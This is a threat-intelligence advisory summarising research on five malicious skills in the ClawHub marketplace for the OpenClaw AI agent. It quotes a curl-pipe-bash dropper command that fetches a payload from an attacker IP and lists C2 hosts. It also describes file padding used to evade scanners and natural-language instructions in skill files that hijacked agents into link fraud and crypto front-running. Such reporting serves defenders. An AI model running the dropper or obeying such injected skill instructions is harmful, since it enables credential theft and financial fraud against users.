# Malicious ClawHub Skills Threaten OpenClaw AI Agent Supply Chain (AMOS, cluw, Solana Front-Running)

> Unit 42 (Palo Alto Networks) identified five malicious skills distributed via ClawHub, the third-party skill marketplace for the OpenClaw AI agent, active between February and May 2026. The skills spanned macOS infostealers (cluw, Atomic macOS Stealer/AMOS) delivered via curl-pipe-bash droppers, a 22MB README.md file-padding technique that bypassed VirusTotal and ClawScan scanning, and two novel agentic-financial-fraud schemes ('money-radar' affiliate-link hijacking and 'letssendit' Solana pump-and-dump front-running) that hijacked AI agent behavior via natural-language/semantic instruction manipulation rather than a software vulnerability.

- **Published:** 2026-07-01T00:00:00Z
- **Last reviewed:** 2026-07-01T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-1024
- **ID:** TL-2026-1024
- **Severity:** HIGH
- **Category:** SUPPLY_CHAIN
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 28 (full data via the Threadlinqs MCP server — Purple tier)

## Description

Between February and May 2026, Unit 42 researchers analyzed ClawHub, the community skill marketplace that extends the OpenClaw AI agent framework, and identified five malicious skills that evaded ClawHub's built-in VirusTotal and ClawScan (LLM-based semantic code review) security screening. Two skills — 'ai-tradingview-assistant-for-macos' and a related 'tradingview-ai-indicator-assistant' variant — posed as macOS trading-assistant tools but silently deployed a Base64-encoded curl-pipe-bash dropper that fetched the 'cluw' macOS infostealer from a fresh C2 server at 2.26.75.16. A third skill, 'omnicogg', embedded a similar dropper for the well-known Atomic macOS Stealer (AMOS) inside its README.md file, then padded that file with roughly 22MB of junk characters specifically to exceed the ~10MB hard file-size cutoffs that ClawDex (ClawHub's LLM-based semantic scanner) and other pipeline stages silently truncate at — a scanner-evasion technique that let the embedded curl-to-bash command (`/bin/bash -c "$(curl -fsSL http://91.92.242.30/ozv614w31u0f80wy)"`) reach installers undetected for at least 19 days and over 5,000 downloads before JFrog Security disclosed it in March 2026. AMOS's C2 at 91.92.242.30 remained active for more than three months after public disclosure. AMOS and cluw both harvest macOS Keychain credentials, browser cookies/login data, desktop and document files, system information, and cryptocurrency wallet data (Electrum, Binance, Exodus, Atomic, Coinomi), compress it into a ZIP archive, and exfiltrate it over HTTP POST to the C2 in chunks of up to 25MB with automatic retry and fallback to a secondary hardcoded IP. Separately, two skills weaponized the OpenClaw agent's own decision-making authority rather than delivering conventional malware. 'money-radar' posed as a financial product advisor targeting users in mainland China, Hong Kong, and Singapore; at runtime it fetched a JSON payload from laosji[.]net and dynamically injected attacker-controlled affiliate tracking links into every financial recommendation the agent generated, letting the skill operator silently swap referred products post-installation without user awareness. 'letssendit' implemented an agentic front-running scheme on the Solana blockchain: agents that installed the skill were instructed, via natural-language prompts embedded in the skill definition, to pool SOL cryptocurrency into an operator-controlled wallet, after which the operator front-ran the crowd by purchasing the SENDIT meme token at the lowest available price before publicly launching it on pump[.]fun, profiting from the coordinated pump created by the unwitting agent network. Both fraud skills relied on 'semantic instruction hijacking' — natural-language content in SKILL.md files and fetched runtime payloads that manipulate an AI agent's interpretation of its own operating constraints, bypassing the need for a traditional software vulnerability entirely. Distribution for the infostealer skills leveraged paste-site redirect lures (rentry[.]co/openclaw-code, glot[.]io/snippets/hfd3x9ueu5) and deceptive human-in-the-loop dialog boxes that trick the user into manually entering their macOS password to complete infection. Unit 42 reported all five skills to ClawHub; OpenClaw subsequently banned the associated publisher accounts and deleted the skills. No CVE was assigned because this is a platform-trust/marketplace-vetting failure rather than a software vulnerability in OpenClaw itself.

## MITRE ATT&CK

- T1583 Acquire Infrastructure
- T1608.001 Upload Malware
- T1195.002 Compromise Software Supply Chain
- T1566 Phishing
- T1059.004 Unix Shell
- T1204.002 Malicious File
- T1053.003 Cron
- T1027 Obfuscated Files or Information
- T1036 Masquerading
- T1140 Deobfuscate/Decode Files or Information
- T1564 Hide Artifacts
- T1555.001 Keychain
- T1552.001 Credentials In Files
- T1082 System Information Discovery
- T1005 Data from Local System
- T1560 Archive Collected Data
- T1071.001 Web Protocols
- T1105 Ingress Tool Transfer
- T1041 Exfiltration Over C2 Channel
- T1657 Financial Theft

## Sources

- [OpenClaw's Skill Marketplace and the Emerging AI Supply Chain Threat](https://unit42.paloaltonetworks.com/openclaw-ai-supply-chain-risk/)
- [More Malicious OpenClaw Skills Threaten AI Supply Chain](https://www.darkreading.com/cyber-risk/malicious-openclaw-skills-clawhub-threaten-ai-supply-chain)
- [OpenClaw Skill Marketplace Exposes AI Agents to Supply Chain Malware and Financial Fraud](https://cybersecuritynews.com/openclaw-skill-marketplace-exposes-ai-agents/)
- [ClawHub Malicious Skills Deliver macOS Infostealers Through Base64 curl-pipe-bash Droppers](https://cyberpress.org/clawhub-skills-deliver-infostealers/)
- [OpenClaw's Skill Marketplace and the Emerging AI Supply Chain Threat (mirror)](https://www.hendryadrian.com/openclaws-skill-marketplace-and-the-emerging-ai-supply-chain-threat/)
- [OpenClaw Supply Chain Risk Lets Attackers Abuse AI Agent Authority for Unauthorized Actions](https://gbhackers.com/openclaw-supply-chain-risk/)
- [Malicious OpenClaw Skills Bypassed ClawHub Screening to Steal Data and Abuse Agents](https://www.mallory.ai/stories/019ef6bc-7d42-7320-8b78-72f6d014a1a0)
- [Anatomy of a Deception: Uncovering the 'omnicogg' Dropper in ClawHub](https://research.jfrog.com/post/omnicogg-malicious-skill/)
- [Malicious OpenClaw Skills Used to Distribute Atomic MacOS Stealer](https://www.trendmicro.com/en_us/research/26/b/openclaw-skills-used-to-distribute-atomic-macos-stealer.html)
- [Atomic Stealer: Dissecting 2024's Most Notorious macOS Infostealer](https://www.picussecurity.com/resource/blog/atomic-stealer-amos-macos-threat-analysis)
- [Atomic Stealer (AMOS) Returns: ClickFix, Trojanized Crypto Apps, and a New macOS Persistence Mechanism](https://www.iru.com/blog/atomic-stealer-amos-returns)
- [OSX/Amos: Hunting C2s in Trojanized Electron ASAR Payloads](https://www.intego.com/mac-security-blog/osx-amos-hunting-c2s-in-trojanized-electron-asar-payloads/)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-1024